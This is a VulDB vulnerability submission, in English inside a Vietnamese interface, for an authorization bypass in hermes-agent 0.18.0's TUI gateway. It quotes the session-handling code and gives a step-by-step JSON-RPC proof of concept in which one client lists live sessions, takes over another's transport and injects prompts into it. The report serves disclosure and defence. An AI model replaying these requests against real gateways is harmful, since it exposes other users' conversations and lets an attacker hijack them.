Gửi #885131: NousResearch hermes-agent 0.18.0 Authorization Bypass Through User-Controlled Keythông tin

tiêu đềNousResearch hermes-agent 0.18.0 Authorization Bypass Through User-Controlled Key
Mô tả## Summary The TUI gateway allows any connected client to attach to and drive another live session by supplying its `session_id`. `session.active_list` exposes live session IDs, while `session.activate` and `prompt.submit` resolve those IDs without verifying transport ownership or caller identity. This enables cross-session history disclosure, message injection, and response-stream hijacking between clients connected to the same gateway process. ## Details The vulnerable authorization boundary is in `tui_gateway/server.py`. `_sess_nowait()` resolves a session only by caller-supplied `session_id`: ```python def _sess_nowait(params, rid): s = _sessions.get(params.get("session_id") or "") return (s, None) if s else (None, _err(rid, 4001, "session not found")) ``` Source: `tui_gateway/server.py:1383` `session.active_list` returns all live in-memory sessions in the gateway process, including their live IDs and previews. Source: `tui_gateway/server.py:5871` `session.activate` accepts an arbitrary `session_id`, calls `_sess_nowait()`, then returns the live session payload. `_live_session_payload()` also rebinds `session["transport"]` when a transport is provided: ```python if transport is not None: session["transport"] = transport ``` Sources: - `tui_gateway/server.py:5909` - `tui_gateway/server.py:5847` `prompt.submit` has the same issue: it resolves the supplied `session_id` and immediately rebinds the target session transport to the current caller: ```python session, err = _sess_nowait(params, rid) ... if (t := current_transport()) is not None: session["transport"] = t ``` Source: `tui_gateway/server.py:8208` Event delivery is routed through the session's stored transport: ```python if obj.get("method") == "event": sid = ((obj.get("params") or {}).get("session_id")) or "" if sid and (t := (_sessions.get(sid) or {}).get("transport")) is not None: return t.write(obj) ``` Source: `tui_gateway/server.py:1028` After rebinding, `message.delta` and related stream events are sent to the attacker's connection. The stream callback in `_run_prompt_submit()` emits those events using the victim session ID: ```python def _stream(delta): with session["history_lock"]: _append_inflight_delta(session, delta) payload = {"text": delta} if streamer and (r := streamer.feed(delta)) is not None: payload["rendered"] = r _emit("message.delta", sid, payload) ``` Source: `tui_gateway/server.py:8675` ## PoC Test setup: use two JSON-RPC clients connected to the same TUI gateway process. 1. Client A creates or owns a normal live session. ```json { "jsonrpc": "2.0", "id": "a1", "method": "session.create", "params": {} } ``` Assume the returned session is `victim_sid`. 2. Client B connects to the same gateway process and lists active sessions. ```json { "jsonrpc": "2.0", "id": "b1", "method": "session.active_list", "params": {} } ``` The response includes live session IDs, including Client A's `victim_sid`. 3. Client B activates Client A's session. ```json { "jsonrpc": "2.0", "id": "b2", "method": "session.activate", "params": { "session_id": "victim_sid" } } ``` Expected result: Client B receives the victim session payload, including message history or inflight state, and the session transport is rebound to Client B. 4. Client B submits a prompt into Client A's session. ```json { "jsonrpc": "2.0", "id": "b3", "method": "prompt.submit", "params": { "session_id": "victim_sid", "text": "test message from second client" } } ``` Expected result: the turn executes against Client A's live conversation state, while streamed events are delivered to Client B's transport. ## Impact This is an access-control vulnerability in the TUI gateway session model. An attacker who can connect to the same gateway process can: - read another live session's history and inflight output via `session.activate`; - inject messages into another user/client's live conversation via `prompt.submit`; - hijack the session's event transport so future streamed output is delivered to the attacker's connection; - disrupt the original client's view of the session. The issue is most severe when the gateway is shared by multiple clients or exposed beyond a single trusted local user. In default local-only deployments, the impact is bounded by OS-level access to the local IPC or loopback surface, but the code still violates the project's stated rule that session IDs are routing handles rather than authorization tokens.
Người dùng
 KendrickZou (UID 93081)
Đệ trình10/07/2026 09:50 (cách đây 2 các tháng)
Kiểm duyệt03/09/2026 08:47 (2 months later)
Trạng tháiđược chấp nhận
Mục VulDB398312 [NousResearch hermes-agent 0.18.0 Session Management s71.py _sess_nowait session_id nâng cao đặc quyền]
điểm17

Want to stay up to date on a daily basis?

Enable the mail alert feature now!